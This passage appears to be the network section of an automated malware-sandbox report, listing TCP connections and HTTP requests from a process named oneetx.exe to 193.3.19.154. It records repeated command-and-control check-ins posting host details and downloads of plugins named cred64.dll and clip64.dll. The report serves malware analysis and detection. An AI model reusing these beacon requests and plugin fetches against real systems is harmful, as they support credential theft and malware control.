Nov 23, 2024 20:54:55.048923969 CET	49950	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:55.169949055 CET	80	49950	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:57.550786972 CET	49950	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:57.660074949 CET	49958	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:57.780625105 CET	80	49958	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:57.780713081 CET	49958	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:57.781066895 CET	49958	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:57.907393932 CET	80	49958	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:01.782905102 CET	49958	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:01.895857096 CET	49967	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:02.020486116 CET	80	49967	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:02.020572901 CET	49967	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:02.021011114 CET	49967	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:02.140578032 CET	80	49967	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:06.032766104 CET	49967	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:06.156371117 CET	49976	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:06.276398897 CET	80	49976	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:06.276474953 CET	49976	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:06.276736021 CET	49976	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:06.396256924 CET	80	49976	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:10.291064024 CET	49976	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:10.394263029 CET	49987	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:10.513916016 CET	80	49987	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:10.514005899 CET	49987	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:10.514265060 CET	49987	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:10.633970022 CET	80	49987	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:14.517086983 CET	49987	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:14.630228996 CET	49998	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:14.751076937 CET	80	49998	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:14.752810955 CET	49998	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:14.752942085 CET	49998	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:14.877484083 CET	80	49998	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:18.770957947 CET	49998	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:18.881467104 CET	50009	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:19.004756927 CET	80	50009	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:19.004856110 CET	50009	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:19.005067110 CET	50009	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:19.130290031 CET	80	50009	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:23.026942968 CET	50009	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:23.147197008 CET	50016	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:23.266874075 CET	80	50016	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:23.267155886 CET	50016	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:23.267354965 CET	50016	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:23.387819052 CET	80	50016	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:27.284604073 CET	50016	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:27.396590948 CET	50017	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:27.519185066 CET	80	50017	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:27.520701885 CET	50017	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:27.524590969 CET	50017	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:27.644126892 CET	80	50017	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:31.534796000 CET	50017	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:31.646648884 CET	50018	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:31.768959045 CET	80	50018	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:31.769076109 CET	50018	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:31.769241095 CET	50018	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:31.888921976 CET	80	50018	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:35.782913923 CET	50018	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:35.895593882 CET	50019	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:36.015454054 CET	80	50019	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:36.015582085 CET	50019	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:36.015755892 CET	50019	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:36.135890961 CET	80	50019	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:40.001425028 CET	50019	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:40.114579916 CET	50020	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:40.236881018 CET	80	50020	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:40.236968040 CET	50020	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:40.237325907 CET	50020	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:40.359134912 CET	80	50020	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:44.236221075 CET	50020	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:44.347963095 CET	50021	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:44.468381882 CET	80	50021	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:44.468463898 CET	50021	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:44.468620062 CET	50021	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:44.588114023 CET	80	50021	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:48.526834011 CET	50021	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:48.650610924 CET	50022	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:48.772303104 CET	80	50022	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:48.772412062 CET	50022	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:48.775316954 CET	50022	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:48.894989967 CET	80	50022	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:52.784638882 CET	50022	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:52.896639109 CET	50023	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:53.016299963 CET	80	50023	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:53.016719103 CET	50023	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:53.018945932 CET	50023	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:53.139497995 CET	80	50023	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:57.136096954 CET	50023	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:57.300864935 CET	50024	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:57.424350977 CET	80	50024	193.3.19.154	192.168.2.5
Nov 23, 2024 20:55:57.424740076 CET	50024	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:57.425158978 CET	50024	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:55:57.547476053 CET	80	50024	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:01.438981056 CET	50024	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:01.550828934 CET	50025	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:01.671396017 CET	80	50025	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:01.671538115 CET	50025	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:01.674710989 CET	50025	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:01.797806025 CET	80	50025	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:05.680903912 CET	50025	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:05.801099062 CET	50026	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:05.920730114 CET	80	50026	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:05.920859098 CET	50026	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:05.921580076 CET	50026	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:06.041557074 CET	80	50026	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:09.923228025 CET	50026	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:10.034737110 CET	50027	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:10.154762030 CET	80	50027	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:10.154865980 CET	50027	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:10.155056953 CET	50027	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:10.275922060 CET	80	50027	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:14.164216995 CET	50027	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:14.309473038 CET	50028	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:14.429255009 CET	80	50028	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:14.429358959 CET	50028	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:14.447710991 CET	50028	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:14.567240000 CET	80	50028	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:18.455177069 CET	50028	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:18.566900015 CET	50029	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:18.693553925 CET	80	50029	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:18.693641901 CET	50029	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:18.693800926 CET	50029	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:18.816591024 CET	80	50029	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:22.706672907 CET	50029	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:22.819727898 CET	50030	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:22.940217972 CET	80	50030	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:22.945043087 CET	50030	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:22.945043087 CET	50030	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:23.069458961 CET	80	50030	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:26.956809998 CET	50030	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:27.068814039 CET	50031	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:27.188440084 CET	80	50031	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:27.188760996 CET	50031	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:27.188958883 CET	50031	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:27.310029030 CET	80	50031	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:31.204734087 CET	50031	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:31.324182034 CET	50032	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:31.449716091 CET	80	50032	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:31.449810982 CET	50032	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:31.450035095 CET	50032	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:31.569895029 CET	80	50032	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:35.454541922 CET	50032	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:35.566035032 CET	50033	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:35.690761089 CET	80	50033	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:35.694916964 CET	50033	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:35.698836088 CET	50033	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:35.822062016 CET	80	50033	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:39.694586992 CET	50033	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:39.800750971 CET	50034	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:39.921848059 CET	80	50034	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:39.921938896 CET	50034	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:39.922708988 CET	50034	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:40.048729897 CET	80	50034	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:43.907721043 CET	50034	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:44.021300077 CET	50035	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:44.144025087 CET	80	50035	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:44.144121885 CET	50035	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:44.144380093 CET	50035	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:44.266232014 CET	80	50035	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:48.157989025 CET	50035	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:48.285547018 CET	50036	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:48.409069061 CET	80	50036	193.3.19.154	192.168.2.5
Nov 23, 2024 20:56:48.409148932 CET	50036	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:48.409323931 CET	50036	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:56:48.531388998 CET	80	50036	193.3.19.154	192.168.2.5

HTTP Request Dependency Graph

193.3.19.154

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:00.134437084 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:00.156812906 CET	68	OUT	GET /store/games/Plugins/cred64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:04.372400045 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:08.615879059 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:09.281379938 CET	68	OUT	GET /store/games/Plugins/cred64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:12.859211922 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49712	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:17.093691111 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49714	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:17.763102055 CET	68	OUT	GET /store/games/Plugins/cred64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:21.325753927 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49733	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:25.581552029 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49735	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:26.236412048 CET	68	OUT	GET /store/games/Plugins/clip64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49741	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:29.815764904 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49752	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:34.065401077 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49754	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:34.715946913 CET	68	OUT	GET /store/games/Plugins/clip64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49764	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:38.322386980 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49775	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:42.546869040 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49776	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:43.200330019 CET	68	OUT	GET /store/games/Plugins/clip64.dll HTTP/1.1 Host: 193.3.19.154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49787	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:46.769010067 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49794	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:53:51.020618916 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49804	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
